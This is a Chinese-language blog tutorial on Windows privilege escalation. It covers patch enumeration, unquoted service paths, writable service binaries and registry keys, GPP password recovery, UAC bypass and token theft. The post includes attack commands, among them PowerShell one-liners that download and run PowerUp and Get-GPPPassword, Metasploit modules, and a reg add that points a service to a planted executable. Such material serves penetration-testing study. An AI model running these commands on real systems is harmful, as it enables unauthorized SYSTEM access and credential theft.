首页 > 系统相关 >windows提权

windows提权

时间:2023-12-15 13:14:01浏览次数:271  
标签:exe windows 提权 组策略 https 权限

Windows Privilege Escalation

提权前先基本信息收集:

系统版本、漏洞补丁、杀软防护、当前权限、系统配置、系统的服务等

查看系统进程:tasklist /svc(杀软防护软件检查)

系统漏洞提权

思路:查看系统补丁信息,若有系统内核漏洞,但没打补丁就可以尝试找exp

查找补丁情况

#看windows版本
ver
#windows命令查看补丁情况
systeminfo
Wmic qfe get Caption,Description,HotFixID,InstalledOn

#MSF后渗透扫描
post/windows/gather/enum_patches
post/multi/recon/local_exploit_suggester

#powershell的sherlock脚本
#需要kali下载对应脚本:git clone https://github.com/rasta-mouse/Sherlock.git,在反弹的shell里执行命令:
Import-Module C:\Sherlock.ps1
Find-AllVulns

#Empire内置模块 Empire框架页有内核提权的方法
usemoudle privesc/powerup/allchecks
execute

查看补丁信息后,查看exp

一些OSINT

https://github.com/SecWiki/windows-kernel-exploits
https://bugs.hacking8.com/tiquan/
https://github.com/Heptagrams/Heptagram/tree/master/Windows/Elevation
https://www.exploit-db.com/
https://i.hacking8.com/tiquan/
...........

系统配置错误

错误权限配置

windows系统服务开机就会启动,在后台调用可执行文件

因为配置错误,导致低权限用户对相应的可执行文件可写,从而写入恶意可执行文件替换原服务可执行文件,从而劫持服务,系统服务又是以system权限运行,故而低权限可提权到system

#使用powerup
https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp
#powershell远程加载powerup
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks"

#msf自动提权
#msf 对应的模块为exploit/windows/local/service_permissions  但前提是获得一个会话
run exploit/windows/local/service_permissions #自动化提权,回来的的权限就是system

#手动查找服务启动路径中写权限
icacls "C:\Program Files"
icacls "C:\Program Files\Commom Files"

#查看指定目录权限配置
accesschk.exe -dqv "D:\test" -accepteula


#检查服务 如果是.SERVICE_ALL_ACCESS的意思是我们对“Vulnerable Service”的属性拥有完全控制权
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
sc qc 服务名   #查看可以完全控制的服务的属性。

windows文件权限标识:

  1. F:完全控制,包括读取、写入、修改和删除文件或目录,以及更改 ACL 和所有属性。
  2. M:修改,包括读取、写入、修改和删除文件或目录,但不能更改 ACL。
  3. RX:读取和执行,包括读取和执行文件,但不能修改或删除文件或目录。
  4. R:只读,只能读取文件或目录,不能修改、删除或执行。
  5. W:写入,可以写入到文件或目录,但不能读取、执行或删除它们。
  6. D:删除,允许删除文件或目录。
  7. S:同步,允许对文件或目录进行同步访问。
  8. XA:管理审计和安全日志。
  9. CI:从属容器将继承访问控制项
  10. OI:从属文件将继承访问控制项

可信任服务路径漏洞

一个服务可执行文件路径没有双引号且包含空格,则可能可以利用

机器会以空格为分割,依次找对应的可执行文件

比如:C:\Program Files\Some Folder\Service.exe

则寻找次序:

C:\Program.exe

C:\Program Files\Some.exe

C:\Program Files\Some Folder\Service.exe

把恶意exe文件,命名为Program.exe放在c盘下,则重启服务就会执行恶意exe文件

查找有服务路径漏洞的方式:

#wmi查找
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """

#powerup脚本
https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp
powershell.exe -exec bypass -Command "&{Import-Module .\PowerUp.ps1; Invoke-AllChecks}"

#查看指定目录的权限配置情况
accesschk.exe -dqv "D:\test" -accepteula

利用方式:

#msf攻击模块
exploit/windows/local/trusted_service_path
set AutoRunScript migrate -f

#手动攻击
我们需要执行的exe根据需要重命名并放置在可写入的有漏洞目录下
然后重启服务
sc stop service_name
sc start service_name

不安全注册表权限配置

在windows中,服务信息存在:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services

服务的程序路径存储在:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Vulnerable Service\服务名\ImagePath

如果对于这个键值有写权限,则可以控制服务,运行恶意程序,提高权限

检查服务注册表是否有写权限

#微软的工具
https://www.microsoft.com/en-us/download/search.aspx?q=subinacl
subinacl.exe /key reg "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Vulnerable Service\服务名" /display

利用:

#如果我们对注册表有写入权限,就可以修改注册表,使得服务启动时运行我们的恶意程序
reg add "HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesVulnerable Service360rp" /t REG_EXPAND_SZ /v ImagePath /d "C:programdataadduser.exe" /f

启用注册表键AlwaysInstallElevated

AlwaysInstallElevated是一个策略设置项,如果设置此项,任何用户可以以NT AUTHORITY\SYSTEM权限来安装MSI文件

windows允许低权限用户以System权限运行安装文件。

组策略首选项提权

windows server 2008引入组策略首选项,该功能使得管理员可以部署影响域中的计算机/用户特定配置

SYSVOL介绍

这是一个共享文件夹,所有认证用户都可以读取

SYSVOL包括登录脚本,组策略数据,以及其他域控所需要的域数据

所有组策略存储位置:\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\

新建的组策略会有一个xml文件,这个文件存储在SYSVOL目录,xml文件里面有密码

GPP

GPP是一个组策略扩展,它允许管理员在组策略中配置各种偏好设置,gpp可以批量配置,从而高效管理

一般域环境中的机器一般都是脚本批量部署,为了方便,管理员会使用组策略进行配置和管理。管理员为了安全会修改管理员密码,如果通过组策略修改密码,那么攻击者拿到一台机器管理员密码,就相当于所有机器管理员密码

通过gpp新建的组策略会有一个xml文件,这个文件存储在SYSVOL目录,xml文件里面有组策略密码,组策略密码是加密的

在Windows server 2012及以后的版本中,微软就抛弃了gpp。

利用方式:

#msf得到一个meterpreter shell后
#使用模块获取加密的密码
run post/windows/gather/credentials/gpp

#powersploit的Get-GPPPassword模块
#三种方式
powershell -executionpolicy bypass -file Get-GPPPassword.ps1
Import-Module .\Get-GPPPassword.ps1;Get-GPPPassword
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1');Get-GPPPassword"Import-Module .\Get-GPPPassword.ps1;Get-GPPPassword

#Empire框架
usemodule privesc/gpp

#kali破解组策略密码
gpp-decrypt

bypassUAC提权

UAC是一种安全功能,防止未授权的修改,它目的是确认你的行为是否授权(比如你的windows安装一些软件,会弹出窗口问你是否允许xxx修改计算机)

在你进行一些影响计算机运行或者影响其他用户的操作时,它会要求你输入管理员密码

会被UAC要求授权的行为

配置Windows Update

增加、删除账户;更改账户类型

更改UAC的设置

安装ActiveX;安装、卸载程序

安装设备驱动程序

将文件移动/复制到ProgramFiles或Windows目录下

查看其它用户的文件夹

绕过UAC思路:

白名单劫持(利用白名单程序是该程序以系统权限启动且不用通知用户,只要我们找到相关程序劫持它,此时只要程序启动,也会带着我们的程序以系统权限启动。)

DLL 劫持

Windows 自身漏洞提权

远程注入

COM 接口技术

令牌窃取

令牌(tocken)用于标识用户,它使得用户不用提供密码或者其他凭据就可以登录、访问系统资源,它就像是用户密码一般的存在。

令牌种类:

访问令牌:可以交互式登录,如远程桌面

模拟令牌:非交互式会话,如下载共享文件

拿到SHELL后,显示令牌只能显示比当前用户权限低的用户令牌

meterpreter shell的令牌窃取模块:incognito

标签:exe,windows,提权,组策略,https,权限
From: https://www.cnblogs.com/q1stop/p/17903162.html

相关文章

  • windows信息收集
    windows基础知识注册表编辑器win+r输入regedit命令hostnamewhoamiipconfig,iconfig/?表示查看帮助手册cls:清除netstat:查看tcp/ip连接net:用于管理网路资源icacls:用于管理权限标识M:修改W:写R:读X:列出文件夹内容F:完全控制RX:读取和执行WX:更改和执行打开控制面板的......
  • windows安全基本概念
    基本概念账户安全账号信息存储(SAM)SAM:securityaccountmanagerSAM对账户的管理是通过安全标识进行的,每个账户的安全标识是唯一的,账户被创建时,安全标识就会产生。SAM文件是windows的一个账户数据库,存储了登录名、密码等信息。该文件是加密存储的,只有system权限可以访问路径:1......
  • 用C++调用Windows.Media.Ocr接口实现图片的OCR识别
    这个接口最开始是给UWP程序用的。C++里需要用C++/WinRT方式调用。默认参数的识别率也不是很高的样子。只支持Win10+。#include<winrt/Windows.Storage.h>#include<winrt/Windows.Storage.Streams.h>#include<winrt/Windows.Graphics.Imaging.h>#include<winrt/Windows.Me......
  • Windows用户、组
    查看所有账户netuser查看某个账户信息netuser用户名查看某个用户的sidwhoami/user查看所有用户的sidwmicuseraccountgetname,sid查看当前操作系统存在的用户界面操作此电脑→鼠标右击→管理→计算机管理→系统工具→本地用户和组→用户命令操作......
  • python虚拟环境(windows)
    venv虚拟环境,是Python用来创建和管理虚拟环境的模块,该模块供你用来存放你的各种python第三方模块,模块里的环境和本机是完全分开的,也就是说你在venv下通过pip安装的python第三方模块是不会影响到你本机的环境的。具体操作如下:1.先安装virtualenvpipinstallvirtualenv 2.进......
  • Windows上的c/c++编译工具
    Windows上的编译工具有很多种,以下是一些常见的选择:VisualStudio:这是微软开发的一款IDE,支持多种编程语言,包括C++。它提供了丰富的功能,如代码编译、调试、版本控制等。VisualStudio还包含一些强大的工具,如代码智能感知和代码重构工具,可以帮助开发人员提高开发效率。   有......
  • windows安装配置lua
    直接exe安装方式:1.在github下载exehttps://github.com/rjpcomputing/luaforwindows/releases/ 2.直接安装 3.使用命令行 lua.exe终端可以进入,也可以直接cmd输入lua进入参考:https://cloud.tencent.com/developer/article/21686484.使用脚本创建脚本: 运行:  ......
  • linux下,需要删除windows中^M
    linux下,如果需要在vim中查看^M,需要使用如下命令:在Vim的命令模式中输入:e++ff=unix%有时候,我们在Linux中打开曾在Win中编辑过的文件时,会在行尾看到^M字符。虽然,这并不影响什么,但心里面还是有点不痛快。如果想要删除这些^M字符,可以使用Vim来轻松搞定它。在Vi......
  • Windows10关闭自动更新的好方法
               原文章链接https://baijiahao.baidu.com/s?id=1776341785811933929&wfr=spider&for=pc......
  • windows安装tensorflow-gpu / CUDA / cuDNN
    最终安装内容:windows10+3060显卡+tensorflow-gpu2.10.0+CUDA11.2+cuDNN8.1 1.命令行输入nvidia-smi,查看显卡对应的cuda版本。如下图,CUDAVersion为12.1,则安装的CUDA版本不能高于12.1。 2.Nvidia官网查看tensorflow-gpu和CUDA的版本对应关系。注意:语言一定要切......